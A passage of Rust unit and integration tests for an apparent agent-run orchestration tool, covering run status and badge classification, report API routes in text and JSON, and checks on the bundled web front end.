21269        assert_eq!(rows[1].superseded_by, None);
21270    }
21271
21272    #[test]
21273    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21274        let mut state = RunState::new(
21275            PathBuf::from("/repo/magi"),
21276            "main".to_owned(),
21277            "0123456789abcdef".to_owned(),
21278            "Review only".to_owned(),
21279            Config::default(),
21280        );
21281        state.id = "20260922-090200-dead".to_owned();
21282        state.status = RunStatus::Reviewing;
21283        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21284            .expect("serialize list row");
21285        assert_eq!(row["status"], "reviewing");
21286        assert_eq!(row["display_status"], "stale");
21287        assert_eq!(row["live"], "dead", "{row}");
21288        assert!(!row["done"].as_bool().unwrap());
21289    }
21290
21291    #[test]
21292    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21293        use crate::run::Liveness::{Dead, Live, Unknown};
21294        let mut state = RunState::new(
21295            PathBuf::from("/repo/magi"),
21296            "main".to_owned(),
21297            "abc".to_owned(),
21298            "Review only".to_owned(),
21299            Config::default(),
21300        );
21301        for (status, parked, node, waiting, live, expected) in [
21302            (
21303                RunStatus::Judging,
21304                true,
21305                "github-text",
21306                false,
21307                Dead,
21308                "parked",
21309            ),
21310            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21311            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21312            (
21313                RunStatus::Judging,
21314                true,
21315                "github-text",
21316                true,
21317                Dead,
21318                "waiting",
21319            ),
21320            (
21321                RunStatus::Judging,
21322                false,
21323                "github-text",
21324                true,
21325                Dead,
21326                "waiting",
21327            ),
21328            (
21329                RunStatus::Judging,
21330                false,
21331                "github-text",
21332                false,
21333                Dead,
21334                "stale",
21335            ),
21336            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21337            (RunStatus::Judging, true, "park", false, Live, "judging"),
21338            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21339            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21340            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21341            (
21342                RunStatus::Blocked,
21343                true,
21344                "github-text",
21345                true,
21346                Dead,
21347                "waiting",
21348            ),
21349        ] {
21350            state.status = status;
21351            state.parked = parked;
21352            state.events.clear();
21353            state.event(
21354                "park",
21355                "an earlier park does not determine the latest state",
21356            );
21357            state.event(node, "message is not used for classification");
21358            let summary = RunSummary::of(&state, waiting, live);
21359            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21360            assert_eq!(
21361                summary.display_status, expected,
21362                "{status:?}/{node}/{live:?}"
21363            );
21364            assert_eq!(detail.display_status, summary.display_status);
21365            assert_eq!(detail.waiting, summary.waiting);
21366        }
21367        state.status = RunStatus::Judging;
21368        state.parked = false;
21369        state.events.clear();
21370        assert_eq!(run_display_status(&state, false, Dead), "stale");
21371    }
21372
21373    #[test]
21374    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21375        use crate::run::Liveness::{Dead, Live, Unknown};
21376        let mut state = RunState::new(
21377            PathBuf::from("/repo/magi"),
21378            "main".to_owned(),
21379            "abc".to_owned(),
21380            "Badge".to_owned(),
21381            Config::default(),
21382        );
21383        for (status, waiting, live, superseded, expected) in [
21384            (RunStatus::Gating, false, Dead, false, "stale"),
21385            (RunStatus::Gating, false, Dead, true, "superseded"),
21386            (RunStatus::Gating, false, Unknown, true, "superseded"),
21387            (RunStatus::Gating, true, Dead, true, "superseded"),
21388            (RunStatus::Gating, true, Dead, false, "waiting"),
21389            (RunStatus::Gating, false, Unknown, false, "gating"),
21390            (RunStatus::Gating, false, Live, true, "gating"),
21391            (RunStatus::Gating, true, Live, true, "waiting"),
21392            (RunStatus::Merged, false, Dead, true, "merged"),
21393            (RunStatus::Blocked, false, Dead, true, "blocked"),
21394        ] {
21395            state.status = status;
21396            let display = run_display_status(&state, waiting, live);
21397            assert_eq!(
21398                run_badge_status(&state, &display, live, superseded),
21399                expected,
21400                "{status:?}/{live:?}/superseded={superseded}"
21401            );
21402        }
21403    }
21404
21405    #[test]
21406    fn summarize_and_detail_expose_badge_status() {
21407        use crate::run::Liveness::Dead;
21408        let mut state = RunState::new(
21409            PathBuf::from("/repo/magi"),
21410            "main".to_owned(),
21411            "abc".to_owned(),
21412            "Badge".to_owned(),
21413            Config::default(),
21414        );
21415        state.status = RunStatus::Gating;
21416        let none = HashSet::new();
21417        let id = state.id.clone();
21418        let mut by = HashMap::new();
21419        let rows = summarize(
21420            [state.clone()],
21421            &none,
21422            &none,
21423            &by,
21424            |_| Some(false),
21425            |_| None,
21426        );
21427        // No driver recorded: liveness is not provably dead, so the node stays.
21428        assert_eq!(rows[0].badge_status, rows[0].display_status);
21429        by.insert(id, "20260901-000000-913b".to_owned());
21430        let detail = RunDetailView::of(
21431            state.clone(),
21432            false,
21433            Dead,
21434            Some("913b".to_owned()),
21435            None,
21436            None,
21437        );
21438        assert_eq!(detail.badge_status, "superseded");
21439        let json = serde_json::to_value(&detail).unwrap();
21440        assert_eq!(json["badge_status"], "superseded");
21441        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21442        assert_eq!(detail.badge_status, "stale");
21443    }
21444
21445    #[tokio::test]
21446    async fn run_display_status_routes_share_the_open_question_store() {
21447        let f = Fixture::start().await;
21448        let id = "20260922-090200-abcd";
21449        write_run(&f.runs(), id, RunStatus::Judging);
21450        let mut state = read_run(&f.runs(), id).unwrap();
21451        state.parked = true;
21452        state.driver_exited = true;
21453        state.event("github-text", "waiting for the owner");
21454        state.save_under(f.home.path()).unwrap();
21455        let mut task = Task::new(
21456            "resumed task".to_owned(),
21457            "do it".to_owned(),
21458            PathBuf::from("/repo"),
21459            Source::Human,
21460        );
21461        task.runs = vec![id.to_owned(), id.to_owned()];
21462        f.queue().put(&mut task).unwrap();
21463        let store = f.questions();
21464        let mut q = Question::new(
21465            id.to_owned(),
21466            "github-text".to_owned(),
21467            "owner".to_owned(),
21468            "Approve the text?".to_owned(),
21469            String::new(),
21470            Vec::new(),
21471        );
21472        store.put(&mut q).unwrap();
21473        for expected in ["waiting", "parked"] {
21474            let list = f.get("/api/runs").await.json();
21475            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21476            assert_eq!(list[0]["display_status"], expected);
21477            assert_eq!(detail["display_status"], expected);
21478            assert_eq!(detail["waiting"], list[0]["waiting"]);
21479            assert_eq!(list[0]["badge_status"], expected);
21480            assert_eq!(detail["badge_status"], expected);
21481            assert!(list[0]["superseded_by"].is_null());
21482            assert!(detail["superseded_by"].is_null());
21483            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21484            let history = task_detail["history"].as_array().unwrap();
21485            assert_eq!(history.len(), 2);
21486            assert!(history[0]["badge"].is_null());
21487            assert_eq!(history[1]["badge"], expected);
21488            q.status = ask::QuestionStatus::Answered;
21489            store.put(&mut q).unwrap();
21490        }
21491    }
21492
21493    #[tokio::test]
21494    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21495        let f = Fixture::start().await;
21496        let id = "20260922-090200-abcd";
21497        write_run(&f.runs(), id, RunStatus::Judging);
21498        let mut state = read_run(&f.runs(), id).unwrap();
21499        state.parked = true;
21500        state.driver_exited = true;
21501        state.event("park", "stopped at a node boundary");
21502        state.save_under(f.home.path()).unwrap();
21503
21504        for expected in ["parked", "stale"] {
21505            let list = f.get("/api/runs").await.json();
21506            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21507            assert_eq!(list[0]["live"], "dead");
21508            assert_eq!(list[0]["display_status"], expected);
21509            assert_eq!(detail["display_status"], expected);
21510            // Model a driver claim followed by a crash before the next event:
21511            // the persisted flag changes, but the last event is still park.
21512            state.parked = false;
21513            state.save_under(f.home.path()).unwrap();
21514        }
21515    }
21516
21517    #[tokio::test]
21518    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21519        let f = Fixture::start().await;
21520        for id in [
21521            "20260902-140501-aaaa",
21522            "20260902-140502-bbbb",
21523            "20260902-140503-cccc",
21524        ] {
21525            write_run(&f.runs(), id, RunStatus::Merged);
21526        }
21527
21528        let all = f.get("/api/runs").await.json();
21529        let capped = f.get("/api/runs?limit=2").await.json();
21530
21531        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21532        assert_eq!(all.as_array().map(Vec::len), Some(3));
21533        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21534        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21535    }
21536
21537    #[tokio::test]
21538    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21539        let f = Fixture::start().await;
21540        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21541
21542        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21543
21544        assert_eq!(res.status, 200);
21545        assert!(
21546            res.headers
21547                .contains("content-type: text/plain; charset=utf-8"),
21548            "a browser must render it, not download it: {}",
21549            res.headers
21550        );
21551        // The assertion is on content, not on the absence of escapes: colour
21552        // is a process-global that `serve` turns off at startup, and another
21553        // test in this binary may own it while this one runs.
21554        assert!(
21555            res.body.contains("20260902-140501-a1b2"),
21556            "the report is about the run that was asked for: {}",
21557            res.body
21558        );
21559    }
21560
21561    #[tokio::test]
21562    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21563        // The view names the run's state directory, which reads the process-global home.
21564        crate::run::pin_test_home();
21565        let f = Fixture::start().await;
21566        let id = "20260902-140501-a1b2";
21567        write_run(&f.runs(), id, RunStatus::Stalled);
21568        // A stalled panel and one review round, written through the real
21569        // state file so the route reads what a run really leaves behind.
21570        let path = f.runs().join(id).join("run.json");
21571        let mut v: serde_json::Value =
21572            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21573        v["tally"] = serde_json::json!({
21574            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21575            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21576            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21577            "met_quorum": false, "rankings": 1
21578        });
21579        v["reviews"] = serde_json::json!([{
21580            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21581            "e2e_deferred": true,
21582            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21583                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21584            ]}]
21585        }]);
21586        std::fs::write(&path, v.to_string()).unwrap();
21587        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21588        std::fs::write(
21589            f.runs().join("20260902-140502-dead").join("run.json"),
21590            "{not json",
21591        )
21592        .unwrap();
21593
21594        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21595
21596        assert_eq!(res.status, 200, "{}", res.body);
21597        assert!(res.headers.contains("content-type: application/json"));
21598        let j = res.json();
21599        assert_eq!(j["schema"], 1);
21600        assert_eq!(j["header"]["id"], id);
21601        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21602        let kinds: Vec<&str> = j["sections"]
21603            .as_array()
21604            .unwrap()
21605            .iter()
21606            .map(|s| s["kind"].as_str().unwrap())
21607            .collect();
21608        assert_eq!(kinds, ["candidates", "tally", "review"]);
21609        let tally = &j["sections"][1]["tally"];
21610        assert_eq!(
21611            (tally["decided"].clone(), tally["provisional"].clone()),
21612            (false.into(), true.into())
21613        );
21614        let round = &j["sections"][2]["rounds"][0];
21615        assert_eq!(round["e2e"]["state"], "deferred");
21616        assert_eq!(round["findings"][0]["severity"], "major");
21617        assert_eq!(round["findings"][0]["blocking"], true);
21618        assert_eq!(round["findings"][0]["state"], "open");
21619
21620        // The raw route keeps working beside it.
21621        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21622
21623        // An unreadable run is an error, as on the text route, and is counted.
21624        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21625        assert_ne!(bad.status, 200, "{}", bad.body);
21626        assert_eq!(
21627            bad.status,
21628            f.get("/api/runs/20260902-140502-dead/report").await.status
21629        );
21630        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21631        assert_eq!(
21632            f.get("/api/runs/20260902-999999-ffff/report.json")
21633                .await
21634                .status,
21635            404
21636        );
21637    }
21638
21639    #[tokio::test]
21640    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21641        crate::run::pin_test_home();
21642        let f = Fixture::start().await;
21643        let id = "20260902-140501-a1b2";
21644        write_run(&f.runs(), id, RunStatus::Blocked);
21645        let path = f.runs().join(id).join("run.json");
21646        let mut v: serde_json::Value =
21647            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21648        v["sync_only_passes"] = serde_json::json!([{
21649            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21650            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21651            "head_before": "before-sha", "head_after": "after-sha",
21652            "result": "synchronized", "verification_allowed": false
21653        }]);
21654        std::fs::write(&path, v.to_string()).unwrap();
21655
21656        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21657        assert_eq!(res.status, 200, "{}", res.body);
21658        let json = res.json();
21659        let section = json["sections"]
21660            .as_array()
21661            .unwrap()
21662            .iter()
21663            .find(|s| s["key"] == "sync_only")
21664            .expect("base-only report section");
21665        let line = section["lines"][0].as_str().unwrap();
21666        assert!(line.contains("origin/main @ base-sha"), "{line}");
21667        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21668        assert!(line.contains("verification was not allowed"), "{line}");
21669    }
21670
21671    #[tokio::test]
21672    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21673        crate::run::pin_test_home();
21674        let f = Fixture::start().await;
21675        let id = "20260902-140505-facts";
21676        write_run(&f.runs(), id, RunStatus::Stalled);
21677        let path = f.runs().join(id).join("run.json");
21678        let mut v: serde_json::Value =
21679            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21680        v["candidates"] = serde_json::json!([{
21681            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21682            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21683        }]);
21684        v["tally"] = serde_json::json!({
21685            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21686            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21687            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21688            "met_quorum": false, "rankings": 1
21689        });
21690        v["quota"] = serde_json::json!([
21691            {
21692                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21693                "agent": "signed-out", "cause": "authentication"
21694            },
21695            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21696        ]);
21697        v["startup"] = serde_json::json!({
21698            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21699            "failure": "fetch refused\ncredentials expired"
21700        });
21701        v["recovery"] = serde_json::json!({
21702            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21703            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21704            "repair": {"started": {"before": "abcdef012345"}}
21705        });
21706        v["reviews"] = serde_json::json!([{
21707            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21708            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21709            "vote_split": true, "verdict": "approve_with_findings",
21710            "e2e": [{
21711                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21712            }],
21713            "reviews": [
21714                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21715                 "summary": "Initial **concern**.\n\nPlease inspect.",
21716                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21717                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21718            ],
21719            "reconsideration": [{
21720                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21721                "reason": "The blocker is resolved.\nOne minor issue remains."
21722            }]
21723        }]);
21724        v["merge_repairs"] = serde_json::json!([{
21725            "question": "question-42", "head": "abcdef012345",
21726            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21727            "gate": [], "phase": "Failed",
21728            "failure": "owner decision required\ninspect updated results"
21729        }]);
21730        v["bump_decision_attempts"] = serde_json::json!([
21731            {"agent": "first", "outcome": "unavailable"},
21732            {"agent": "second", "outcome": "patch\naccepted"}
21733        ]);
21734        v["release_bump"] = serde_json::json!({
21735            "version": "1.2.3", "local": true,
21736            "problem": "publish failed\nregistry refused",
21737            "release": {
21738                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21739                "failed": "registry refused\nawait owner approval",
21740                "log": [{
21741                    "name": "cargo publish", "code": 1,
21742                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21743                }]
21744            }
21745        });
21746        std::fs::write(&path, v.to_string()).unwrap();
21747
21748        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21749        assert_eq!(res.status, 200, "{}", res.body);
21750        let j = res.json();
21751        assert_eq!(j["schema"], 1);
21752        assert_eq!(j["header"]["tone"], "warn");
21753        assert_eq!(
21754            j["header"]["startup"],
21755            "review branch=topic stage=fetch complete=false"
21756        );
21757        assert_eq!(
21758            j["header"]["startup_failure"],
21759            "fetch refused\ncredentials expired"
21760        );
21761        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21762        assert_eq!(
21763            j["sections"][0]["items"][0]["detail"],
21764            "Already covered.\nNo patch needed."
21765        );
21766        assert_eq!(
21767            j["sections"][1]["tally"]["rate_limited"],
21768            serde_json::json!(["judge-1", "judge-2"])
21769        );
21770        let sections = j["sections"].as_array().unwrap();
21771        let labels: Vec<_> = sections
21772            .iter()
21773            .map(|section| {
21774                section["key"]
21775                    .as_str()
21776                    .or_else(|| section["kind"].as_str())
21777                    .unwrap()
21778            })
21779            .collect();
21780        assert_eq!(
21781            labels,
21782            [
21783                "candidates",
21784                "tally",
21785                "quota_details",
21786                "recovery",
21787                "review",
21788                "merge_repairs",
21789                "release_decision_attempts",
21790                "release_bump",
21791                "release_execution"
21792            ]
21793        );
21794        let note = |key: &str| {
21795            sections
21796                .iter()
21797                .find(|section| section["kind"] == "notes" && section["key"] == key)
21798                .unwrap()
21799        };
21800        let unavailable = note("quota_details");
21801        assert_eq!(unavailable["tone"], "warn");
21802        assert_eq!(
21803            unavailable["lines"],
21804            serde_json::json!([
21805                "judge-1 (signed-out: re-authenticate)",
21806                "judge-2 (usage limit)"
21807            ])
21808        );
21809        let recovery = note("recovery");
21810        assert_eq!(recovery["tone"], "warn");
21811        assert!(
21812            recovery["lines"][0]
21813                .as_str()
21814                .unwrap()
21815                .contains("head moved\nreview the new diff")
21816        );
21817        assert_eq!(
21818            recovery["lines"][1],
21819            "the task's own completion criteria were kept"
21820        );
21821        assert_eq!(recovery["lines"][2], "repair: unfinished");
21822        let review = sections
21823            .iter()
21824            .find(|section| section["kind"] == "review")
21825            .unwrap();
21826        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21827        let round = &review["rounds"][0];
21828        assert_eq!(round["verified_head"], "fedcba9");
21829        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21830        assert_eq!(round["status"], "incomplete");
21831        assert_eq!(round["e2e"]["state"], "pass");
21832        assert_eq!(round["reviewers"][0]["vote"], "reject");
21833        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21834        assert_eq!(
21835            round["reviewers"][0]["reason"],
21836            "Initial **concern**.\n\nPlease inspect."
21837        );
21838        assert!(
21839            !round["reviewers"][0]["reason_md"]
21840                .as_array()
21841                .unwrap()
21842                .is_empty()
21843        );
21844        assert!(round["reviewers"][1]["final_vote"].is_null());
21845        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21846        assert_eq!(
21847            round["reconsideration"][0]["reason"],
21848            "The blocker is resolved.\nOne minor issue remains."
21849        );
21850        assert!(
21851            !round["reconsideration"][0]["reason_md"]
21852                .as_array()
21853                .unwrap()
21854                .is_empty()
21855        );
21856        let repairs = note("merge_repairs");
21857        assert_eq!(repairs["tone"], "warn");
21858        assert_eq!(
21859            repairs["lines"][0],
21860            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21861        );
21862        assert_eq!(
21863            repairs["lines"][1],
21864            "held: owner decision required\ninspect updated results"
21865        );
21866        assert_eq!(
21867            repairs["lines"][2],
21868            "original [R1-1-1] Minor: Check edge case"
21869        );
21870        assert_eq!(
21871            repairs["lines"][3],
21872            "original reviewer #1: ApproveWithFindings"
21873        );
21874        assert_eq!(
21875            repairs["lines"][4],
21876            "Repair never approves a merge; updated results require a fresh owner decision."
21877        );
21878        let attempts = note("release_decision_attempts");
21879        assert_eq!(attempts["tone"], "neutral");
21880        assert_eq!(
21881            attempts["lines"],
21882            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21883        );
21884        let bump = sections
21885            .iter()
21886            .find(|section| section["kind"] == "release_bump")
21887            .unwrap();
21888        assert_eq!(bump["bump"]["automerge"], "local");
21889        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21890        assert_eq!(bump["tone"], "warn");
21891        let execution = note("release_execution");
21892        assert_eq!(execution["tone"], "warn");
21893        assert_eq!(
21894            execution["lines"][0],
21895            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21896        );
21897        assert_eq!(
21898            execution["lines"][1],
21899            "tag on remote: true; 1 command(s) completed"
21900        );
21901        assert_eq!(
21902            execution["lines"][2],
21903            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21904        );
21905
21906        // The original endpoint remains terminal text, including these same facts.
21907        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21908        assert_eq!(raw.status, 200);
21909        assert!(
21910            raw.headers
21911                .contains("content-type: text/plain; charset=utf-8")
21912        );
21913        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21914        assert!(raw.body.contains("Already covered."));
21915        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21916        assert!(raw.body.contains("judge-2 (usage limit)"));
21917        assert!(
21918            raw.body
21919                .contains("owner decision required\ninspect updated results")
21920        );
21921        assert!(raw.body.contains("2. second: patch\naccepted"));
21922        assert!(raw.body.contains(
21923            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21924        ));
21925
21926        // Historical records do not acquire invented startup or verification facts.
21927        let legacy_id = "20260902-140506-old";
21928        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21929        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21930        assert_eq!(legacy.status, 200, "{}", legacy.body);
21931        let legacy = legacy.json();
21932        assert!(legacy["header"]["startup"].is_null());
21933        assert!(legacy["header"]["startup_failure"].is_null());
21934        assert!(
21935            legacy["sections"]
21936                .as_array()
21937                .unwrap()
21938                .iter()
21939                .all(|section| section["kind"] != "notes")
21940        );
21941    }
21942
21943    #[tokio::test]
21944    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21945        crate::run::pin_test_home();
21946        let f = Fixture::start().await;
21947        let id = "20260902-140503-delib";
21948        write_run(&f.runs(), id, RunStatus::Merged);
21949        let path = f.runs().join(id).join("run.json");
21950        let mut v: serde_json::Value =
21951            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21952        v["judgements"] = serde_json::json!([
21953            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21954        ]);
21955        v["tally"] = serde_json::json!({
21956            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21957            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21958            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21959            "met_quorum": true, "rankings": 1
21960        });
21961        v["deliberation"] = serde_json::json!([
21962            {
21963                "round": 1,
21964                "turns": [
21965                    {
21966                        "judge": 1,
21967                        "agent": "judge-1",
21968                        "body": "I prefer candidate **A** because it has cleaner tests.",
21969                        "tentative": "A"
21970                    }
21971                ]
21972            },
21973            {
21974                "round": 2,
21975                "turns": [
21976                    {
21977                        "judge": 1,
21978                        "agent": "judge-1",
21979                        "body": "Still thinking, no choice yet.",
21980                        "tentative": null
21981                    }
21982                ]
21983            }
21984        ]);
21985        std::fs::write(&path, v.to_string()).unwrap();
21986
21987        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21988        assert_eq!(res.status, 200, "{}", res.body);
21989        let j = res.json();
21990        let judging = j["sections"]
21991            .as_array()
21992            .unwrap()
21993            .iter()
21994            .find(|s| s["kind"] == "judging")
21995            .expect("judging section exists");
21996
21997        // Existing summary lines remain intact
21998        let delib_lines = judging["deliberation"].as_array().unwrap();
21999        assert_eq!(delib_lines.len(), 2);
22000        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
22001        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
22002
22003        // rounds carry turn bodies, tentative and parsed body_md
22004        let rounds = judging["rounds"].as_array().unwrap();
22005        assert_eq!(rounds.len(), 2);
22006        let r1_t0 = &rounds[0]["turns"][0];
22007        assert_eq!(r1_t0["judge"], 1);
22008        assert_eq!(r1_t0["agent"], "judge-1");
22009        assert_eq!(r1_t0["tentative"], "A");
22010        assert_eq!(
22011            r1_t0["body"],
22012            "I prefer candidate **A** because it has cleaner tests."
22013        );
22014        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
22015
22016        let r2_t0 = &rounds[1]["turns"][0];
22017        assert_eq!(r2_t0["judge"], 1);
22018        assert_eq!(r2_t0["agent"], "judge-1");
22019        assert!(r2_t0["tentative"].is_null());
22020        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22021        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22022
22023        // A run with empty deliberation array yields empty rounds
22024        let id_empty = "20260902-140504-nodelib";
22025        write_run(&f.runs(), id_empty, RunStatus::Merged);
22026        let path_empty = f.runs().join(id_empty).join("run.json");
22027        let mut v_empty: serde_json::Value =
22028            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22029        v_empty["judgements"] = serde_json::json!([
22030            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22031        ]);
22032        v_empty["deliberation"] = serde_json::json!([]);
22033        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22034
22035        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22036        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22037        let j_empty = res_empty.json();
22038        let judging_empty = j_empty["sections"]
22039            .as_array()
22040            .unwrap()
22041            .iter()
22042            .find(|s| s["kind"] == "judging")
22043            .expect("judging section exists");
22044        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22045    }
22046
22047    #[tokio::test]
22048    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22049        let f = Fixture::start().await;
22050
22051        let html = f.get("/").await;
22052        let css = f.get("/app.css").await;
22053        let js = f.get("/app.js").await;
22054
22055        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22056        assert!(
22057            html.headers
22058                .contains("content-type: text/html; charset=utf-8")
22059        );
22060        assert!(css.headers.contains("content-type: text/css"));
22061        assert!(js.headers.contains("content-type: text/javascript"));
22062        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22063    }
22064
22065    #[test]
22066    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22067        let body = |name: &str| {
22068            let at = APP_JS
22069                .find(name)
22070                .unwrap_or_else(|| panic!("{name} missing"));
22071            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22072        };
22073        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22074        let note = body("function landRoundNote");
22075        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22076        assert!(note.contains("Land round ${round}"));
22077        let land = body("function renderLand");
22078        let note_at = land
22079            .find("landRoundNote(pr)")
22080            .expect("renderLand uses the note");
22081        assert!(
22082            note_at
22083                < land
22084                    .find("roundRail(pr)")
22085                    .expect("renderLand uses the rail")
22086        );
22087    }
22088
22089    #[test]
22090    fn the_runs_page_redesign_keeps_its_guards() {
22091        let body = |name: &str| {
22092            let at = APP_JS
22093                .find(name)
22094                .unwrap_or_else(|| panic!("{name} missing"));
22095            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22096        };
22097        // A null child must never reach the native append (it prints "null").
22098        let land = body("function renderLand");
22099        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22100        assert!(
22101            !land.contains("box.append("),
22102            "renderLand must use append()"
22103        );
22104        assert!(land.contains("append(box, ["));
22105        // Tabs are hash routes; the run id alone decides a reload.
22106        let parse_route = APP_JS.split_once("function parseRoute").unwrap().1;
22107        let parse_route = parse_route.split_once("/* ---- two-pane layout").unwrap().0;
22108        assert!(parse_route.contains("RUN_TABS.includes(parts[2])"));
22109        assert!(
22110            body("function applyRoute").contains("const prevRoute = state.route;")
22111                && body("function applyRoute")
22112                    .contains("route.name !== prevRoute.name || route.id !== prevRoute.id")
22113        );
22114        // The decorative diagram is gone, the strip and its guards stay.
22115        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22116        assert!(!INDEX_HTML.contains("advise-converge"));
22117        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22118        assert!(APP_JS.contains("provisional"));
22119        for id in [
22120            "run-tab-overview",
22121            "run-tab-timeline",
22122            "run-tab-report",
22123            "run-report",
22124            "runs-scope",
22125        ] {
22126            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22127        }
22128        assert!(!INDEX_HTML.contains("runs-tree"));
22129        assert!(!INDEX_HTML.contains("run-raw-panel"));
22130        // Fold still says it cannot be resumed.
